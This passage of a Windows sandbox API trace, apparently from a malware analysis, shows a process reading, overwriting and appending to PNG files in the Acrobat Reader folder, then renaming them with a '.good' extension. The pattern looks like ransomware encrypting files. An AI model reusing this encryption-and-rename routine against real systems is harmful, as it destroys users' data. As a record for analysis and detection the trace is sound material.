lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0240.945] CloseHandle (hObject=0x834) returned 1 [0240.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0240.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0240.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0240.946] GetFileType (hFile=0x834) returned 0x1 [0240.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0240.946] GetFileType (hFile=0x834) returned 0x1 [0240.946] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x225a [0240.946] WriteFile (in: hFile=0x834, lpBuffer=0x39b04a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x39b04a0*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0240.947] CloseHandle (hObject=0x834) returned 1 [0241.539] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0241.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0241.539] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.539] GetFileType (hFile=0x858) returned 0x1 [0241.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0241.539] GetFileType (hFile=0x858) returned 0x1 [0241.539] ReadFile (in: hFile=0x858, lpBuffer=0x37e8b08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x37e8b08*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0241.565] CloseHandle (hObject=0x858) returned 1 [0241.565] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0241.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0241.565] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.565] GetFileType (hFile=0x858) returned 0x1 [0241.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0241.566] GetFileType (hFile=0x858) returned 0x1 [0241.566] WriteFile (in: hFile=0x858, lpBuffer=0x37e77c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x37e77c8*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0241.566] CloseHandle (hObject=0x858) returned 1 [0241.566] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png", lpFilePart=0x0) returned 0x8f [0241.566] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png.gоod", lpFilePart=0x0) returned 0x94 [0241.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0241.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8c3204a3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x226a)) returned 1 [0241.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0241.566] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations.png.gоod")) returned 1 [0241.567] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0241.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0241.567] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3867948 | out: lpFileInformation=0x3867948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b)) returned 1 [0241.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0241.567] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0241.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0241.567] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.568] GetFileType (hFile=0x858) returned 0x1 [0241.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0241.568] GetFileType (hFile=0x858) returned 0x1 [0241.568] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0241.568] ReadFile (in: hFile=0x858, lpBuffer=0x3867ed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3867ed0*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0241.569] CloseHandle (hObject=0x858) returned 1 [0241.569] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0241.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0241.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.570] GetFileType (hFile=0x858) returned 0x1 [0241.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0241.570] GetFileType (hFile=0x858) returned 0x1 [0241.570] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x4d6b [0241.570] WriteFile (in: hFile=0x858, lpBuffer=0x386b6d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x386b6d0*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0241.571] CloseHandle (hObject=0x858) returned 1 [0241.571] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0241.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0241.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0241.571] GetFileType (hFile=0x858) returned 0x1 [0241.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0241.571] GetFileType (hFile=0x858) returned 0x1 [0241.571] ReadFile (in: hFile=0x858, lpBuffer=0x386f458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x386f458*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0242.157] CloseHandle (hObject=0x858) returned 1 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0242.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0242.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0242.158] GetFileType (hFile=0x858) returned 0x1 [0242.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0242.158] GetFileType (hFile=0x858) returned 0x1 [0242.158] WriteFile (in: hFile=0x858, lpBuffer=0x37dc698*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x37dc698*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0242.158] CloseHandle (hObject=0x858) returned 1 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png", lpFilePart=0x0) returned 0x96 [0242.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png.gоod", lpFilePart=0x0) returned 0x9b [0242.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0242.159] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8c8c9d28, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d7b)) returned 1 [0242.159] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0242.159] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\illustrations_retina.png.gоod")) returned 1 [0242.160] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0242.160] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0242.160] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3835c38 | out: lpFileInformation=0x3835c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf011b8fe, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf011b8fe, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf011b8fe, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc)) returned 1 [0242.160] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0242.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0242.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0242.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0242.161] GetFileType (hFile=0x858) returned 0x1 [0242.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0242.162] GetFileType (hFile=0x858) returned 0x1 [0242.162] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0242.162] ReadFile (in: hFile=0x858, lpBuffer=0x3836160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3836160*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0242.163] CloseHandle (hObject=0x858) returned 1 [0242.163] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0242.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0242.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0242.163] GetFileType (hFile=0x858) returned 0x1 [0242.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0242.163] GetFileType (hFile=0x858) returned 0x1 [0242.163] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x20bc [0242.163] WriteFile (in: hFile=0x858, lpBuffer=0x3837480*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3837480*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0242.164] CloseHandle (hObject=0x858) returned 1 [0242.164] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0242.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0242.164] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0242.165] GetFileType (hFile=0x858) returned 0x1 [0242.165] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0242.165] GetFileType (hFile=0x858) returned 0x1 [0242.165] ReadFile (in: hFile=0x858, lpBuffer=0x38397c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x38397c8*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0243.001] CloseHandle (hObject=0x858) returned 1 [0243.001] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0243.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0243.001] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0243.001] GetFileType (hFile=0x858) returned 0x1 [0243.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0243.001] GetFileType (hFile=0x858) returned 0x1 [0243.001] WriteFile (in: hFile=0x858, lpBuffer=0x38238f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x38238f0*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0243.002] CloseHandle (hObject=0x858) returned 1 [0243.002] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\themes\\dark\\new_icons.png", lpFilePart=0x0) returned 0x8b [0243.002] GetFullPathNameW (in: lpFileName="C:\\Program Files 